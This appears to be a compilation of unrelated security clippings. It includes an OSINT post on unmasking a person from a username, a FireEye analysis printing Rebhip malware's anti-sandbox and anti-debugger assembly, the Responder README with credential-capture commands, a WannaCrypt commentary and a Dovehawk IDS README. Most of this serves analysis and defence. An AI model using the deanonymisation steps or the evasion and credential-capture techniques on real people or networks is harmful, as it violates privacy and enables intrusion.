Supports Windows and Linux, 32 and 64 bit mode, multiple threads**.**

For experts only**.** Useful for analyzing small pieces of code but not for
profiling a whole program**.**

_File name_ : testp.zip, size: 777452, last modified: 2013-Oct-06**.**  
Download .

* * *
## CPUID manipulation program for VIA****

This is a program that can change the CPUID vendor string, family and model
number on VIA Nano processors**.** See my blog for a discussion of the purpose
of this program**.**

_File name_ : cpuidfake.zip, size: 67593, last modified: 2010-Aug-08**.**  
Download .

* * *
## Useful assembly links****

Agner's CPU blog www.agner.org/optimize/blog

Masm Forum www.masmforum.com

ASM Community Messageboard www.asmcommunity.net/board/

Linux Assembly www.linuxassembly.org

Hutch's Assembly pages www.movsd.com

Iczelion's Win32 Assembly Homepage win32assembly.online**.** fr/

CPU-id tools and information www.cpuid.com

likwid performance measuring tools for Linux code.google.com/p/likwid

Programmer's heaven assembler zone Programmers' Heaven

X-bit Labs articles on microprocessors www.xbitlabs.com/articles/cpu/

Virtual sandpile x86 Processor information www.sandpile.org

intel-assembler programmers guides and manuals www.intel-assembler**.** it

Online computer books www.computer-books**.** us/assembler.php

Instruction latency listings instlatx64.atw**.** hu/

FASM assembler and messageboard flatassembler.net

NASM assembler sourceforge.net/projects/nasm

YASM assembler www.tortall.net/projects/yasm

JWASM assembler www.japheth**.** de

Yeppp open source library of assembly language functions www.yeppp.info

Newsgroup: comp.lang.asm**.** x86

### Intel resources****

Reference manuals and other documents can be found at Intel's web site**.**
Intel's web site is refurnished so often that any link I could provide here to
specific documents would be broken after a few months**.** I will therefore
recommend that you use the search facilities at developer.intel.com  and
search for "Software Developer's Manual" and "Optimization Reference
Manual"**.**

### AMD resources****

www.amd.com/us-en/Processors/TechnicalResources/0,,30\_182\_739,00.html

### Microsoft resources****

MASM manuals  msdn.microsoft.com

1154676

****

# Real OSINT « Security Aegis

**Created:**| _4/9/2011 9:53:57 AM_  
---|---  
**Updated:**| _4/9/2011 9:53:57 AM_  
**Author:**| __  
**Tags:**| _opinion OSINT_  
  

## Real OSINT

  

I was recently on a “project” that required me to identify a individual from
just an online username. Only a moniker, no personal data. After some very
brief searching the person did have a digital footprint. The point was to
prove their seemingly personal/private online antics could correlate to their
real life identities. That’s pretty fancy speak for “find as much about this
person as possible, just from a screen name”

I use the greatest hacking tool of them all… Google. The first step was trying
to footprint the alias. Luckily it was sort of unique otherwise this process
would have been a tiny bit harder… but not much. Googling gave me a twitter
handle, but no real info yet. There are several neat scripts out there to
query the twitter API, i just went through it manually though.

On the Twitter i found the targets blog. A blog was good, i wanted more
though. A quick “search: targetname -www.targetsblog.com” gave me a few more
possible accounts.

A lot of people, even blackhats, re-use their monikers for other sites. I got
some good hits, which gave me more to work with. I reiterated this process
subtracting all the domains i verified that it looked correct.

After this I checked for domain registration on the blog site since it was
hosted by the target, mostly these days the registrars will reg through a
proxy so no-go there. Spending the afternoon reading about the personal
interests of the target were critical to correlating the accounts i had
gathered via Google. Now it was time to work with some data.

I then proceeded to mine the blog for links, this is simple using a script by
muts called list-urls.py \(/pentest/enumeration/list-urls/list-urls.py in
backtrack\) and a newer script called host-extract.rb \(which also checks for
internal path leakage in websites\). I also searched the blog for any emails
using theHarvester.py. These scripts revealed minimal results that i hadn’t
already found via the google searching but, they still are beneficial none the
less.

After all that i moved on to image data. This is actually where you can find
out a ton about your target. This target in particular loved a certain craft
and took numerous pictures of these. On WordPress all images uploaded to the
blog are located in:

/wp-content/uploads/

Most of the time this directory has indexing turned on. Luckily for me that
was the case. I proceeded to look at over 100 different photos the user had
taken. Yoda would say something like… “Great things you can find, if you do
not look…”

Through sifting through the pictures i found a few with the following:

  * envelopes in the background
  * medication labels
  * open views of the users desktop revealing other accounts
  * screen names , emails, etc.

Many a 4chan troll has been exposed by these techniques. Taking it a bit
further you can run personal images through tineye.com and use that as a
resource to find more accounts. Especially images people use over and over for
their avatars online. In this case it wasn’t necessary though. I had a first
name, address, a few extra IM account names, etc. I also ran the images
through metadata inspection revealing the geolacation of the target \(roughly
matching that of the envelope in the background of one of the photos\)

Taking that all back to Google and Whitepages searches revealed the full name
and phone number of the target. Thorough inspection of the other accounts and
IM names led me to an old Myspace page. This was enough for my client, but
with this data you can move even further on to more deep OSINT stuff.

Not rocket science but not bad for some easy scripts, google searches, and
browsing…

Information Garnered on target from an online **username only** :

  * Full name
  * phone \#
  * personal address and geolocations of places that person visited often
  * blog
  * twitter
  * online book/reading list
  * 2 IM accounts
  * Myspace and eventually Facebook accounts
  * workplace and position
  * work email
  * Parents and relatives information
  * Not to mention info on the persons likes/dislikes, allergies, medications, power/utility providers, OS version/software used, close friends, pets, group/meetups they went to habitually, etc

It truly sucks but privacy is dead =\(

# The need for urgent collective action to keep people safe online: Lessons
from last week’s cyberattack - Microsoft on the Issues

**Created:**| _5/15/2017 9:25:33 PM_  
---|---  
**Updated:**| _5/15/2017 9:25:33 PM_  
**Author:**| __  
**Tags:**| _incident response legal_  
  

  

# The need for urgent collective action to keep people safe online: Lessons
from last week’s cyberattack

Posted May 14, 2017 by Brad Smith \- President and Chief Legal Officer

  * __
  * __
  * __
  * __

Early Friday morning the world experienced the year’s latest cyberattack.

Starting first in the United Kingdom and Spain, the malicious “WannaCrypt”
software quickly spread globally, blocking customers from their data unless
they paid a ransom using Bitcoin. The WannaCrypt exploits used in the attack
were drawn from the exploits stolen from the National Security Agency, or NSA,
in the United States. That theft was publicly reported earlier this year. A
month prior, on March 14, Microsoft had released a security update to patch
this vulnerability and protect our customers. While this protected newer
Windows systems and computers that had enabled Windows Update to apply this
latest update, many computers remained unpatched globally. As a result,
hospitals, businesses, governments, and computers at homes were affected.

All of this provides the broadest example yet of so-called “ransomware,” which
is only one type of cyberattack. Unfortunately, consumers and business leaders
have become familiar with terms like “zero day” and “phishing” that are part
of the broad array of tools used to attack individuals and infrastructure. We
take every single cyberattack on a Windows system seriously, and we’ve been
working around the clock since Friday to help all our customers who have been
affected by this incident. This included a decision to take additional steps
to assist users with older systems that are no longer supported. Clearly,
responding to this attack and helping those affected needs to be our most
immediate priority.

At the same time, it’s already apparent that there will be broader and
important lessons from the “WannaCrypt” attack we’ll need to consider to avoid
these types of attacks in the future. I see three areas where this event
provides an opportunity for Microsoft and the industry to improve.

As a technology company, we at Microsoft have the first responsibility to
address these issues. We increasingly are among the first responders to
attacks on the internet. We have more than 3,500 security engineers at the
company, and we’re working comprehensively to address cybersecurity threats.
This includes new security functionality across our entire software platform,
including constant updates to our Advanced Threat Protection service to detect
and disrupt new cyberattacks. In this instance, this included the development
and release of the patch in March, a prompt update on Friday to Windows
Defender to detect the WannaCrypt attack, and work by our customer support
personnel to help customers afflicted by the attack.

But as this attack demonstrates, there is no cause for celebration. We’ll
assess this attack, ask what lessons we can learn, and apply these to
strengthen our capabilities. Working through our Microsoft Threat Intelligence
Center \(MSTIC\) and Digital Crimes Unit, we’ll also share what we learn with
law enforcement agencies, governments, and other customers around the world.

Second, this attack demonstrates the degree to which cybersecurity has become
a shared responsibility between tech companies and customers. The fact that so
many computers remained vulnerable two months after the release of a patch
illustrates this aspect. As cybercriminals become more sophisticated, there is
simply no way for customers to protect themselves against threats unless they
update their systems. Otherwise they’re literally fighting the problems of the
present with tools from the past. This attack is a powerful reminder that
information technology basics like keeping computers current and patched are a
high responsibility for everyone, and it’s something every top executive
should support.

At the same time, we have a clear understanding of the complexity and
diversity of today’s IT infrastructure, and how updates can be a formidable
practical challenge for many customers. Today, we use robust testing and
analytics to enable rapid updates into IT infrastructure, and we are dedicated
to developing further steps to help ensure security updates are applied
immediately to all IT environments.

Finally, this attack provides yet another example of why the stockpiling of
vulnerabilities by governments is such a problem. This is an emerging pattern
in 2017. We have seen vulnerabilities stored by the CIA show up on WikiLeaks,
and now this vulnerability stolen from the NSA has affected customers around
the world. Repeatedly, exploits in the hands of governments have leaked into
the public domain and caused widespread damage. An equivalent scenario with
conventional weapons would be the U.S. military having some of its Tomahawk
missiles stolen. And this most recent attack represents a completely
unintended but disconcerting link between the two most serious forms of
cybersecurity threats in the world today – nation-state action and organized
criminal action.

The governments of the world should treat this attack as a wake-up call. They
need to take a different approach and adhere in cyberspace to the same rules
applied to weapons in the physical world. We need governments to consider the
damage to civilians that comes from hoarding these vulnerabilities and the use
of these exploits. This is one reason we called in February for a new “Digital
Geneva Convention” to govern these issues, including a new requirement for
governments to report vulnerabilities to vendors, rather than stockpile, sell,
or exploit them. And it’s why we’ve pledged our support for defending every
customer everywhere in the face of cyberattacks, regardless of their
nationality. This weekend, whether it’s in London, New York, Moscow, Delhi,
Sao Paulo, or Beijing, we’re putting this principle into action and working
with customers around the world.

We should take from this recent attack a renewed determination for more urgent
collective action. We need the tech sector, customers, and governments to work
together to protect against cybersecurity attacks. More action is needed, and
it’s needed now. In this sense, the WannaCrypt attack is a wake-up call for
all of us. We recognize our responsibility to help answer this call, and
Microsoft is committed to doing its part.

###### About the Author

#### Brad Smith

##### President and Chief Legal Officer

Brad Smith is Microsoft’s president and chief legal officer. Smith plays a key
role in representing the company externally and in leading the company’s work
on a number of critical issues including privacy, security, accessibility,
environmental sustainability and digital inclusion, among others.

  

# FireEye Malware Intelligence Lab: The Dead Giveaways of VM-Aware Malware

**Created:**| _2/2/2011 9:45:02 PM_  
---|---  
**Updated:**| _2/6/2011 9:35:13 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis virtusalisation anti-debugging Obfuscation_  
  

### The Dead Giveaways of VM-Aware Malware

I often overhear talk about so called next generation anti vm, sandnet and
debugger techniques and their \*widespread\* use by modern malware, and how
this is hurting modern day automated malware analysis and detection. Well I
find the facts are quite different. Most of these claims don't provide good
evidence and I consider them little more than an attempt to create FUD \(Fear,
Uncertainty and Doubt\). The reality is that after the good old days of IRC
bots which were created mostly for fun, the majority of commercial malware
shown no interest in detecting VMS and/or debuggers. Why? I will come to the
reasons later.

A while back, I talked about the world's top 20 malware list based on
FireEye's real time data feed. None of these malware families except for
Conficker \(number 11\) try to detect virtual machines. What about taking into
consideration the top 10 malware list given by Microsoft a while back? I can
prove that none of these top 10 malware try to detect a Virtual Environment.

How many malware families try to detect popular, publicly available sandnets
like ThreatExpert? See foryourself.

Now I'll come to the reasons why.

1\. A big portion of existing infrastructure is moving towards virtualization
now a days. Virtualization is no longer a researcher's tool. One will find
lots of real assets running on top of these virtual environments. Malware
authors are well aware of this and can't afford to loose these valuable
assets.

2\. Another reason for not detecting virtual environments in general is that
after the first wave of VM aware malware \(mostly IRC bots like Rbot,
SDbot/Reptile, Mechbot, SpyBot and AgoBot etc.\), the authors of next
generation malware realized that advanced behavior analysis engines
\(including FireEye's own from day one\) can turn the tables on them and will
use these evasion techniques as a way to detect them. In other words, to
filter the bad from benign. How many legitimate software applications are you
aware of that try to detect the ThreatExpert environment? If some software is
doing it, there is a great chance that it is bad, making malware detection
easier.

3\. How much difference have these anti VM/debugger malware features made? Did
it stop researchers from reversing Conficker, SDbot etc? As a matter of fact,
Conficker is one of the most widely talked about malware families, mostly due
to its evasion techniques. Similarly almost all the modern debuggers like
OllyDbg are aware of anti debugging techniques and can bypass them very
easily.

Anyway, let's wrap up this debate and talk about an exception that proves the
rule. I recently came across a relatively unknown malware sample that is
different from other malware in many aspects. It uses its own custom
obfuscated CnC protocol, and is equipped with quite a few data stealing
payloads etc.

<img src='img/Temp2_3224.png' alt='Cnc_comm' />  
  
Most importantly it is using a whole lot of anti debugging, vm and sandnet
techniques which my eyes caught very quickly \(unnecessary attention, isn't
it?\). The name of this malware is Rebhip which we here in FireEye classify as
an information stealer. To keep this article short and relevant to the topic,
today I will only talk about its anti analysis techniques.

Rebhip anti analysis techniques can be divided into four broad categories.

1\. Anti Sandnets

2\. Anti VM/Emulation

3\. Anti Debugging

4\. Anti Disassembler

Let me describe these one by one.

**1\. Anti Sandnets**

Rebhip is capable of detecting all the popular VMs along with publicly
available automated malware analysis workbenches like ThreatExpert, Anubis,
CWSandbox and JoeBox etc. In terms of VM detection its capable of detecting
VMWare, Virtual PC and Virtual Box. No surprise that none of the proprietary
virtualized environments like FireEye's own, are on the list.

**1.1 ThreatExpert**

It looks like ThreatExpert inserts a special dll named dbghelp.dll for every
process running inside their environment, most probably for API hooking
purposes. Once Rebhip finds that this dll is loaded inside its own process
space it silently aborts.

**push offset aDbghelp\_dll ; "dbghelp.dll"**  
**call GetModuleHandleA**  
**test eax, eax**  
**jz short loc\_405323**  
**mov bl, 1**

Resolution:

Time to change the name of this dll. To avoid these kind of attacks in future
the dll name can be generated randomly at runtime.

**Note:** If some of you guys are wondering how the bad buys know about this
dll. The simplest answer is that one can craft a binary just for the sake of
revealing this kind of information as part of ThreatExpert output. Moreover a
reverse shell can be invoked to give an attacker access to a virtual
environment remotely.

**1.2 JoeBox**

Detection of the JoeBox sandnet is done by comparing the product key of the
running OS with 55274-640-2673064-23950. If there is a match, the malware
assumes that it is running inside JoeBox.

push ebx  
add esp, 0FFFFFEF4h  
xor ebx, ebx  
push esp ; phkResult  
push 1 ; samDesired  
push 0 ; ulOptions  
push offset SubKey ; "Software\\\Microsoft\\\Windows\\\CurrentVersi"...  
push 80000002h ; hKey  
call RegOpenKeyExA  
test eax, eax  
jnz short loc\_405387  
mov \[esp+110h+cbData\], 101h  
lea eax, \[esp+110h+cbData\]  
push eax ; lpcbData  
lea eax, \[esp+114h+Data\]  
push eax ; lpData  
push 0 ; lpType  
push 0 ; lpReserved  
push offset ValueName ; "ProductId"  
mov eax, \[esp+124h+hKey\]  
push eax ; hKey  
call RegQueryValueExA  
lea eax, \[esp+110h+Data\]  
cmp eax, offset a55274640267306 ; "55274-640-2673064-23950"  
jnz short loc\_405387  
mov bl, 1

Resoulution:

Just before each run modify the registry key holding original Windows Product
Id with some random key. Also flag this lookup as a possible sign of badness.

**1.3 CWSandbox**  
  
Similarly CWSandobox is detected by comparing VM host product id with
76487-644-3177037-23510.

Resolution:

Same as above.

**1.4 Anubis**

Same is true for Anubis and this time the product id to match is
76487-337-8429955-22614.

Resolution:

Same as above.

**2\. Anti** VM/Emulation

As I explained above this malware is capable of detecting VMWare, Virtual Box
and Virtual PC specifically and one generic way to detect VM presence.

**2.1 Virtual Box**

Detecting a Virtual Box environment is done by going through the running
process list and looking for a process having name 'VBoxService.exe'. This
service is part of the 'Guest Additions' offered by Virtual box in order to
assist in tasks like drag and drop and clipboard sharing etc.

Resolution:

Installation of 'Guest Addition' is optional and I won't recommend installing
it although it will mean the loss of some cool features.

**2.2 VMWare**

Rebhip uses VMWawre backdoor I/O as a means to detect VMware presence. If the
OS is running inside VMware a port name 'VX' will be available to be used for
communication between the host and the guest OS. Data from this port can be
read given different op codes, for example 0x0A is used to get the VMware
version. A successful read means that you are inside VMvare.

mov eax, 'VMXh'  
mov ebx, 3C6CF712h  
mov ecx, 10  
mov dx, 'VX'  
in eax, dx  
mov eax, 1

**2.3 Virtual PC**

Virtual PC uses a few invalid x86 instructions to interface between the VM OS
and the emulator itself. When running inside a physical machine, execution of
these invalid op codes will raise an exception whereas inside Virtual Pc it
will be handled gracefully. Rebhip installs an exception handler and checks to
see if this exception is caught. If so, it assumes it is running on a physical
machine otherwise inside Virtual PC.

**2.4 General Purpose**

This method relies on the assumption that virtual machines are less powerful
than physical machines. If the time lapse between a series of actions is
greater than a certain value , it's likely to be running inside a VM.

Rebhip does it like this:

1\. Find the milliseconds lapsed since the start of this machine using the
GetTickCount win32 API.

2\. Execute a series of operations including calling a list of crafted
functions

4\. Get the elapsed time again using GetTickCount API.

5\. If the time elapsed is more than 5 seconds, abort.

It's still unknown to me how the author reached the conclusion that 5 seconds
is the right figure. I guess it was a result of trial and error.

**3\. Anti Debugging**

Rebhip is equipped with many types of anti debugger techniques. Some of these
are general in nature while there are some which are specifically targeting
debuggers like SOFTICE.

**3.1 General purpose**

Rebhip uses two general approaches to detect user level debuggers like OllyDbg
and IDA Pro etc. The first method uses PEB \(Process Environment Blocks\)
structures's 'BeingDebugged' field. The third byte of this filed is always set
to 1 when a program is running inside a debugger.

This is accomplished like this:

**mov eax, large fs:30h**

Load eax with the memory located at the 0x30th offset of Thread Information
Block \(TIB\) structure. Please note here that FS is supposed to hold the
starting point of TIB. Where 0x30st offset contains the linear address of PEB
\(Process Environment Block\).

  
**movzx eax, byte ptr \[eax+2\]**

Copy the third byte of PEB->BeingDebugged flag into EAX. If value of eax \(or
al\) is 1, it means the program is running inside a user level debugger and
the malware calls ExitProcess to quit silently.

The second approach used by Rebhip is the use of the famous
'IsDebuggerPresent' Win32 API. If some readers have ever tried to debug this
API they will know that the logic inside IsDebugPresent is almost the same as
I explained above. What is the reason that the author re-implemented the same
logic himself? The most plausible answer is to make reverser's job more
difficult.

Resolution:

In case your debugger is not able to fix it automatically. Re-write this flag
value back to 0 in the very start of the execution.

**3.2 Kernel level debuggers**

Rebhip is also equipped with the ability to detect kernel level debuggers like
SOFICE, SYSER etc. The technique in use targets that fact that the above
mentioned debuggers register different devices \(driver objects\) with the
system like \\\\.\NTICE and \\\\.\SyserDbgMsg etc. Once Rebhip find the
presence of any of these devices on the system it aborts.

Resolution:

Again start using random names for your driver objects.

**4\. Anti Diassembler**

Well this should not be surprising. Almost all modern day malware use some
sort of binary obfuscation or packing techniques to evade signature based AV
detection. The same is true for Rebhip. I got a chance to analyze over a dozen
samples and all of them were packed with different unknown \(based on PEID
output\) packers.

like

MD5: a6a8d4d31431fb52c56d8741e0ffb516

In a nutshell all of these evasion techniques can be bypassed and used for an
easy detection of the malware. In general, the best chance for a malware to
survive for a longer period of time is by flying under the radar and not
challenging researchers. What we have seen in the past is that the more
innovative malware tries to become, the greater the chances are there that it
will gain unnecessary attention. Like we seen in the case of Storm 1.0 with
its fancy P2P protocol, Conficker with its anti researcher/anti AV approach,
Licat and Kraken etc. with their auto domain generation algorithms.

_**Atif Mushtaq**_

Atif Mushtaq on 2011.01.27 in Botnet Research, Malware Research | Permalink
Tweet This\!

### TrackBack

TrackBack URL for this entry:  
http://www.typepad.com/services/trackback/6a00d835018afd53ef0148c7ffdac3970c

Listed below are links to weblogs that reference The Dead Giveaways of VM-
Aware Malware :

### Comments

<img src='img/Temp2_3223.png' width='10' height='10' alt='Feed' /> You can
follow this conversation by subscribing to the comment feed for this post.

Many of these Anti-detection methods are indeed very old, there's is really
nothing new about any of these, and the ProductId detection for Anubis is
useless aswell, as it have plenty of different ones \(Try it yourself, upload
a sample that printf\(\)'s the ProductId and upload it a few times, you will
see that Anubis randomizes the ProductId

Other sandboxes probably does this aswell.

Either way none of this is a new concept and my guess is that it is a RAT or
similar \(Like Bifrost\) that have been coded by script kiddies.

Is the exe made in VB or .NET by any chance?

Posted by: Roger | 2011.01.28 at 10:24 AM
Great article as always, Atif.

Posted by: James W | 2011.01.27 at 11:26 PM
Some of these tricks does not work already. They worked few years ago.

# SpiderLabs/Responder · GitHub

**Created:**| _12/30/2013 1:36:49 PM_  
---|---  
**Updated:**| _12/30/2013 1:36:49 PM_  
**Author:**| __  
**Tags:**| _windows environment active directory_  
  

# **I** NTRODUCTION****

This tool is first an LLMNR and NBT-NS responder, it will answer to _specific_
NBT-NS \(NetBIOS Name Service\) queries based on their name suffix \(see:
http://support.microsoft.com/kb/163409 \)**.** By default, the tool will only
answers to File Server Service request, which is for SMB**.** The concept
behind this, is to target our answers, and be stealthier on the network**.**
This also helps to ensure that we don't break legitimate NBT-NS behavior**.**
You can set the -r option to "On" via command line if you want this tool to
answer to the Workstation Service request name suffix**.**

#  FEATURES****

  * Built-in SMB Auth server**.** Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default**.** Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion**.** Clear text password is supported for NT4, and LM hashing downgrade when the \--lm option is set to On**.** This functionality is enabled by default when the tool is launched**.**
  * Built-in MSSQL Auth server**.** In order to redirect SQL Authentication to this tool, you will need to set the option -r to On\(NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix\) for systems older than windows Vista \(LLMNR will be used for Vista and higher\)**.** This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008**.**
  * Built-in HTTP Auth server**.** In order to redirect HTTP Authentication to this tool, you will need to set the option -r to On for Windows version older than Vista \(NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix\)**.** For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes _and_ Basic Authentication**.** This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari**.** Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients \(WebClient\)**.** You can now send your custom files to a victim.
  * Built-in HTTPS Auth server**.** In order to redirect HTTPS Authentication to this tool, you will need to set the -r option to On for Windows versions older than Vista \(NBT-NS queries for HTTP server lookups are sent using the Workstation Service name suffix\)**.** For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2, _and_ Basic Authentication**.** This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, and Safari**.** The folder Cert/ was added and contain 2 default keys, including a dummy private key**.** This is _intentional_ , the purpose is to have Responder working out of the box**.** A script was added in case you need to generate your own self signed key pair**.**
  * Built-in LDAP Auth server**.** In order to redirect LDAP Authentication to this tool, you will need to set the option -r to On for Windows version older than Vista \(NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix\)**.** For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication \(clear text authentication\)**.** This server was successfully tested on Windows Support tool "ldp" and LdapAdmin**.**
  * Built-in FTP Auth server**.** This module will collect FTP clear text credentials**.**
  * Built-in small DNS server**.** This server will answer type A queries. This is really handy when it's combined with ARP spoofing**.**
  * All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format: \(SMB or MSSQL or HTTP\)-\(ntlm-v1 or v2 or clear-text\)-Client\_IP.txt The file will be located in the current folder**.**
  * Responder will logs all its activity to a file Responder-Session.log**.**
  * When the option -f is set to "On", Responder will fingerprint every host who issued an LLMNR/NBT-NS query**.** All capture modules still work while in fingerprint mode**.**
  * Browser Listener finds the PDC in stealth mode**.**
  * Icmp Redirect for MITM on Windows XP/2003 and earlier Domain members**.** This attack combined with the DNS module is pretty effective**.**
  * WPAD rogue transparent proxy server**.** This module will _silently_ grab the encrypted credentials of anyone launching Internet Explorer on the network**.** It will also grab the cookie of the requested page**.** This module is higly effective. You can now send your custom Pac script to a victim**.** See Responder.conf.
  * Responder is now using a configuration file**.** See Responder.conf.
  * Built-in POP3 auth server**.** This module will collect POP3 plaintext credentials
  * Built-in SMTP auth server**.** This module will collect PLAIN/LOGIN clear text credentials**.**

#  CONSIDERATIONS****

  * This tool listen on several port: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553**.** If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports**.** For Ubuntu users: Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line : "dns=dnsmasq"**.** Then kill dnsmasq with this command \(as root\): killall dnsmasq -9
  * Any rogue server can be turn off in Responder.conf**.**
  * You can set a network interface via command line switch -I**.** Default is all. 
  * This tool is not meant to work on Windows**.**

#  USAGE****

First of all, please take a look at Responder.conf and set it for your
needs**.** Running this tool:

  * python Responder**.** py \[options\]

Usage Example:

python Responder**.** py -i 10**.** 20.30.40 -r On -I eth0

Options List:

-h, --help show this help message and exit**.**
-i 10.20.30**.** 40, --ip=10.20.30.40 The ip address to redirect the traffic to**.** \(usually yours\)
-I eth0, --interface=eth0 Network interface to use
-b Off, --basic=Off Set this to On if you want to return a Basic HTTP authentication**.** Off will return an NTLM authentication**.**
-r Off, --wredir=Off Set this to On to enable answers for netbios wredir suffix queries**.** Answering to wredir will likely break stuff on the network \(like classics 'nbns spoofer' will\)**.** Default value is therefore set to Off**.**
-f Off, --fingerprint=Off This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query**.**
-w On, --wpad=On Set this to On or Off to start/stop the WPAD rogue proxy server**.** Default value is On
\--lm=Off Set this to On if you want to force LM hashing downgrade for Windows
XP/2003 and earlier**.** Default value is Off

For more information read these posts:
http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-
responder-17.html  http://blog.spiderlabs.com/2013/02/owning-windows-network-
with-responder-part-2.html

Follow our latest updates on twitter: https://twitter.com/PythonResponder

#  COPYRIGHT****

NBT-NS/LLMNR Responder Created by Laurent Gaffie Copyright \(C\) 2013
Trustwave Holdings, Inc**.**

This program is free software: you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation, either version 3 of the License, or \(at your option\) any later
version**.**

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE**.** See the GNU General Public License for more
details**.**

You should have received a copy of the GNU General Public License along with
this program**.** If not, see http://www.gnu.org/licenses/

****

# tylabs/dovehawk

**Created:**| _9/23/2018 8:50:33 AM_  
---|---  
**Updated:**| _9/23/2018 8:50:33 AM_  
**Author:**| _wishi_  
**Tags:**| _iDS/iPS Malware-analysis_  
  

  

# Dovehawk Bro Module

Threat Hunting with Bro and MISP

This module uses the the built-in Bro Intelligence Framework to load and
monitor signatures from MISP automatically. Indicators are downloaded from
MISP every 6 hours and hits, called sightings, are reported back to MISP
immediately. The module also includes a customized version of Jan Grashoefer's
expiration code to remove indicators after they are deleted from MISP.

Indicators are downloaded and read into memory. Content signatures in
signatures.sig are MISP Network Activity->bro items downloaded from MISP. The
event text should start with "MISP:". Bro must be restarted to ingest the
content signatures. To do this automatically we recommend restarting bro using
broctl and a restart cron described in included file INSTALL.md

Optional Slack.com web hook reporting.

## Screencaps

### Dovehawk Downloads Indicators From MISP

<img
src='img/68747470733a2f2f646f76656861776b2e696f2f696d616765732f646f76656861776b5f6c61756e63682e706e67.png'
width='898' height='633' alt='Dovehawk signature download' />

### Dovehawk Sighting Uploaded

<img
src='img/68747470733a2f2f646f76656861776b2e696f2f696d616765732f646f76656861776b5f6869742e706e67.png'
width='898' height='98' alt='Dovehawk hit and sighting upload' />

### MISP Sighting

<img
src='img/68747470733a2f2f646f76656861776b2e696f2f696d616765732f6d6973705f7369676874696e67732e706e67.png'
width='898' height='47' alt='MISP sightings' />

### Slack Web Hook

<img
src='img/68747470733a2f2f646f76656861776b2e696f2f696d616765732f736c61636b5f6869742e706e67.png'
width='898' height='256' alt='Slack Web Hook' />

### Intel Item Expiration

<img
src='img/68747470733a2f2f646f76656861776b2e696f2f696d616765732f6578706972652e706e67.png'
width='622' height='350' alt='Items expiring' />

## Sample Content Signature

[code]

    signature eicar_test_content {
      ip-proto == tcp
      payload /.*X5O\!P%@AP\[4\\PZX54\(P\^\)7CC\)7\}\$EICAR\-STANDARD\-ANTIVIRUS\-TEST\-FILE\!\$H\+H\*/
      event "MISP: eicar test file in TCP plain text"
    }
[/code]

_Note: Bro's default setting is to buffer thefirst 1024 bytes of a TCP
connection so signature's should be written with that in mind._

## Indicator Expiration

Indicators are downloaded automatically every 6 hours and are assigned an
expiry of 6.5 hours. A check for expired indicators occurs every 4 hours to
cleanup any expired indicators between downloads. As indicators are reingested
the expiration time is reset to 6.5 hours. A message is now printed for each
expired indicator.

If an indicator is hit after expiration but before the cleanup, it will
trigger a hit/sighting, but the indicator is then deleted immediately so no
further hits will occur.

Intervals are set in dovehawk.bro.

### Setting for expired indicator cleanup \(should be less then
signature\_refresh\_period\)

[code]

    redef Intel::item_expiration = 4 hr
[/code]

### Setting for MISP download interval

[code]

    global signature_refresh_period = 6hr &redef;
[/code]

### Setting for indicator expiration: \(should be slightly more than
signature\_refresh\_period\)

[code]

    $expire = 6.5 hr,
[/code]

## Official Source

https://dovehawk.io/

https://github.com/tylabs/dovehawk/

## Related Projects

http://www.misp-project.org/ MISP

https://www.bro.org/ Bro IDS

# Special Thanks

CanCyber.org for their support in releasing a generic MISP version of their
Bro Module as open source.

Developers: Michael Kortekaas @mrkortek \(original module\), Tyler McLellan
@tylabs \(MISP combined import and sightings\)

The entire MISP team and Alexandre Dulaunoy @adulau for adding the bro
datatype to MISP.

# License

Copyright © 2018 Cancyber Inc., Michael Kortekaas @mrkortek, Tyler McLellan
@tylabs

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files \(the "Software"\), to
deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

# Dovehawk Bro Module

Threat Hunting with Bro and MISP

This module uses the the built-in Bro Intelligence Framework to load and
monitor signatures from MISP automatically. Indicators are downloaded from
MISP every 6 hours and hits, called sightings, are reported back to MISP
immediately. The module also includes a customized version of Jan Grashoefer's
expiration code to remove indicators after they are deleted from MISP.

Indicators are downloaded and read into memory. Content signatures in
signatures.sig are MISP Network Activity->bro items downloaded from MISP. The
event text should start with "MISP:". Bro must be restarted to ingest the
content signatures. To do this automatically we recommend restarting bro using
